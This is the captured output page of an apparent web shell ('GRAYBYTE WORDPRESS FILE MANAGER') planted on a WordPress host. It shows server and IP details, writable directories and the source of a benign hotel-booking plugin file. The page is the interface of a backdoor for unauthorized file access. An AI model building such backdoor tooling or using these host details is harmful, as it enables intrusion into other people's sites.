✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/motopress-hotel-booking/includes/reports//report.php
<?php

namespace MPHB\Reports;

class Report {
	/**
	 * @var array
	 */
	public $atts;

	/**
	 * @var object
	 */
	public $report;

	/**
	 *
	 * @param array $atts
	 */
	public function __construct( $atts = array() ) {
		$this->atts = array_merge(
			$atts,
			$this->getAttr()
		);

		$this->setUpReport();
	}

	/**
	 *
	 * @return array
	 */
	protected function getAttr() {

		$reportType = ! empty( $_GET['report_type'] ) && in_array( $_GET['report_type'], ReportFilters::REPORT_TYPES ) ? sanitize_text_field( wp_unslash( $_GET['report_type'] ) ) : ReportFilters::DEFAULT_REPORT_TYPE;

		$atts['report_type'] = $reportType;

		if ( ! empty( $_GET['range'] ) ) {
			$atts['range'] = sanitize_title( wp_unslash( $_GET['range'] ) );
		}

		if ( ! empty( $_GET['date_from'] ) ) {

			$date_from = sanitize_text_field( wp_unslash( $_GET['date_from'] ) );

			if ( strtotime( $date_from ) ) {

				$atts['date_from'] = $date_from;
			}
		}

		if ( ! empty( $_GET['date_to'] ) ) {

			$date_to = sanitize_text_field( wp_unslash( $_GET['date_to'] ) );

			if ( strtotime( $date_to ) ) {

				$atts['date_to'] = $date_to;
			}
		}

		return $atts;
	}

	protected function setUpReport() {
		if ( ! empty( $this->atts['report_type'] ) ) {
			switch ( $this->atts['report_type'] ) {
				case 'earnings':
					$this->report = new EarningsReport( $this->atts );
					break;
			}
		}
	}

	/**
	 *
	 * @return array
	 */
	public function getAtts() {
		return $this->atts;
	}

	/**
	 *
	 * @return \EarningsReport
	 */
	public function getReport() {
		return $this->report;
	}
}




Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
data
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
.htaccess
0.41 KB
28 Apr 2026 8.56 AM
builxejc / builxejc
0644
abstract-report.php
2.021 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
earnings-report.php
14.99 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
report-filters.php
2.406 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
report.php
1.53 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF